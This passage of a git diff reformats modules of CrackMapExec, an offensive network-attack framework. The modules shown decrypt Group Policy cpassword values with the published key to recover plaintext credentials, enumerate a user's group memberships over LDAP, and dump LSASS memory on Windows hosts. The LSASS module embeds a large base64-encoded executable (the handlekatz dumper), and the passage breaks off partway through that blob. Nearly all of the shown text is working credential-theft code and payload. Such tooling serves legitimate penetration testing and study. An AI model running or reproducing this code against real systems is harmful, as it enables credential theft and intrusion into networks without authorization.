+ "runAs", + "username", + ]: if user_tag in props: username = props[user_tag] - password = self.decrypt_cpassword(props['cpassword']) + password = self.decrypt_cpassword(props["cpassword"]) - context.log.success('Found credentials in {}'.format(path)) - context.log.highlight('Password: {}'.format(password)) - for k,v in props.items(): - if k != 'cpassword': - context.log.highlight('{}: {}'.format(k, v)) + context.log.success( + "Found credentials in {}".format(path) + ) + context.log.highlight("Password: {}".format(password)) + for k, v in props.items(): + if k != "cpassword": + context.log.highlight("{}: {}".format(k, v)) hostid = context.db.get_hosts(connection.host)[0][0] - context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid) + context.db.add_credential( + "plaintext", + "", + username, + password, + pillaged_from=hostid, + ) def decrypt_cpassword(self, cpassword): - - #Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 + # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 - key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b') + key = unhexlify( + "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b" + ) cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) IV = "\x00" * 16 diff --git a/cme/modules/groupmembership.py b/cme/modules/groupmembership.py index 2825a29e..7d1bae9c 100644 --- a/cme/modules/groupmembership.py +++ b/cme/modules/groupmembership.py @@ -7,16 +7,16 @@ from impacket.ldap import ldap as ldap_impacket class CMEModule: """ - Created as a contributtion from HackTheBox Academy team for CrackMapExec - Reference: https://academy.hackthebox.com/module/details/84 + Created as a contributtion from HackTheBox Academy team for CrackMapExec + Reference: https://academy.hackthebox.com/module/details/84 - Module by @juliourena - Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py + Module by @juliourena + Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py """ - name = 'groupmembership' + name = "groupmembership" description = "Query the groups to which a user belongs." - supported_protocols = ['ldap'] + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -26,13 +26,15 @@ class CMEModule: """ self.user = "" - if 'USER' in module_options: - if module_options['USER'] == "": - context.log.fail('Invalid value for USER option!') + if "USER" in module_options: + if module_options["USER"] == "": + context.log.fail("Invalid value for USER option!") exit(1) - self.user = module_options['USER'] + self.user = module_options["USER"] else: - context.log.fail('Missing USER option, use --options to list available parameters') + context.log.fail( + "Missing USER option, use --options to list available parameters" + ) exit(1) def on_login(self, context, connection): @@ -41,13 +43,17 @@ class CMEModule: searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user) try: - context.log.debug('Search Filter=%s' % searchFilter) - resp = connection.ldapConnection.search(searchFilter=searchFilter, - attributes=['memberOf','primaryGroupID'], - sizeLimit=0) + context.log.debug("Search Filter=%s" % searchFilter) + resp = connection.ldapConnection.search( + searchFilter=searchFilter, + attributes=["memberOf", "primaryGroupID"], + sizeLimit=0, + ) except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug( + "sizeLimitExceeded exception caught, giving up and processing the data received" + ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -57,32 +63,36 @@ class CMEModule: return False memberOf = [] - primaryGroupID = '' + primaryGroupID = "" - context.log.debug('Total of records returned %d' % len(resp)) + context.log.debug("Total of records returned %d" % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue try: - for attribute in item['attributes']: - if str(attribute['type']) == 'primaryGroupID': - primaryGroupID = attribute['vals'][0] + for attribute in item["attributes"]: + if str(attribute["type"]) == "primaryGroupID": + primaryGroupID = attribute["vals"][0] # Hardcode value for Domain Users primary Group ID 513 # For future improvement maybe we can query the primary ID value # Reference: https://social.technet.microsoft.com/Forums/Azure/en-US/373febac-665c-494d-91f7-834541c74bee/cant-get-all-member-objects-from-domain-users-in-ldap?forum=winserverDS - if str(primaryGroupID) == "513": + if str(primaryGroupID) == "513": memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX") - elif str(attribute['type']) == 'memberOf': - for group in attribute['vals']: + elif str(attribute["type"]) == "memberOf": + for group in attribute["vals"]: if isinstance(group._value, bytes): memberOf.append(str(group)) - + except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug('Skipping item, cannot process due to error %s' % str(e)) + context.log.debug( + "Skipping item, cannot process due to error %s" % str(e) + ) pass if len(memberOf) > 0: - context.log.success(u'User: {} is member of following groups: '.format(self.user)) + context.log.success( + "User: {} is member of following groups: ".format(self.user) + ) for group in memberOf: # Split the string on the "," character to get a list of the group name and parent group names group_parts = group.split(",") @@ -92,4 +102,4 @@ class CMEModule: group_name = group_parts[0].split("=")[1] # print("Group name: %s" % group_name) - context.log.highlight(u'{}'.format(group_name)) + context.log.highlight("{}".format(group_name)) diff --git a/cme/modules/handlekatz.py b/cme/modules/handlekatz.py index 331abb10..7ad1d1e1 100644 --- a/cme/modules/handlekatz.py +++ b/cme/modules/handlekatz.py @@ -13,7 +13,6 @@ from cme.helpers.bloodhound import add_user_bh class CMEModule: - name = "handlekatz" description = "Get lsass dump using handlekatz64 and parse the result with pypykatz" supported_protocols = ["smb"] @@ -22,16 +21,18 @@ class CMEModule: def options(self, context, module_options): """ - TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) - HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/) - HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe) - DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH) + TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) + HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/) + HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe) + DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH) """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] - self.handlekatz_embeded = base64.b64decode("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